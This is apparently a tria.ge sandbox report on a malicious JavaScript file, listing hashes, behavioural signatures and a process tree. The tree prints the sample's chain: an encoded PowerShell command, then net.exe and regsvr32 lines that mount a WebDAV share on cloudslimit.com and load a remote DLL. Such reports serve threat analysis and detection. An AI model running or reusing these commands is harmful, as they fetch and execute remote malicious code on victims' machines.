Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
121s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
21/08/2024, 14:36
Static task
static1
Behavioral task
behavioral1
Sample
a10d0fc40b082b951b7bda6bda87a44bcf566dc08ce1a46f08f8516f7839e5ab.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
a10d0fc40b082b951b7bda6bda87a44bcf566dc08ce1a46f08f8516f7839e5ab.js
Resource
win10v2004-20240802-en
General
-
Target
a10d0fc40b082b951b7bda6bda87a44bcf566dc08ce1a46f08f8516f7839e5ab.js
-
Size
13KB
-
MD5
308a839d446d5c21b38e79e6f42d3f20
-
SHA1
047d24c6d57f8887ac3e2f6929f7a903503fe803
-
SHA256
a10d0fc40b082b951b7bda6bda87a44bcf566dc08ce1a46f08f8516f7839e5ab
-
SHA512
c61a00d3c6ba9490fa17d26803c99ddd8b96867a197c7c5f0e64dac2ccc97ebfe0c11bedea9c68e513e84103ae72fe51999b6d054cf2de81ce66ebca06c004c2
-
SSDEEP
96:N6Nt7yRlQNrAIURImLXIsYoGqM7mPaL04eznA2nqMnhGMn7nnG14xD4RxePnyEtT:kT7+lQ+IUGc7Hv57nXL9C79A6FM8H5i
Malware Config
Signatures
-
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2068 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2068 powershell.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 2996 wrote to memory of 2068 2996 wscript.exe 31 PID 2996 wrote to memory of 2068 2996 wscript.exe 31 PID 2996 wrote to memory of 2068 2996 wscript.exe 31 PID 2068 wrote to memory of 2644 2068 powershell.exe 33 PID 2068 wrote to memory of 2644 2068 powershell.exe 33 PID 2068 wrote to memory of 2644 2068 powershell.exe 33 PID 2068 wrote to memory of 2696 2068 powershell.exe 34 PID 2068 wrote to memory of 2696 2068 powershell.exe 34 PID 2068 wrote to memory of 2696 2068 powershell.exe 34 PID 2068 wrote to memory of 2696 2068 powershell.exe 34 PID 2068 wrote to memory of 2696 2068 powershell.exe 34
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\a10d0fc40b082b951b7bda6bda87a44bcf566dc08ce1a46f08f8516f7839e5ab.js1⤵
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADkANAAyADMAMQA1ADYAMQA5ADIAMwA0ADgANQAuAGQAbABsAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\3⤵PID:2644
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\294231561923485.dll3⤵PID:2696
-
-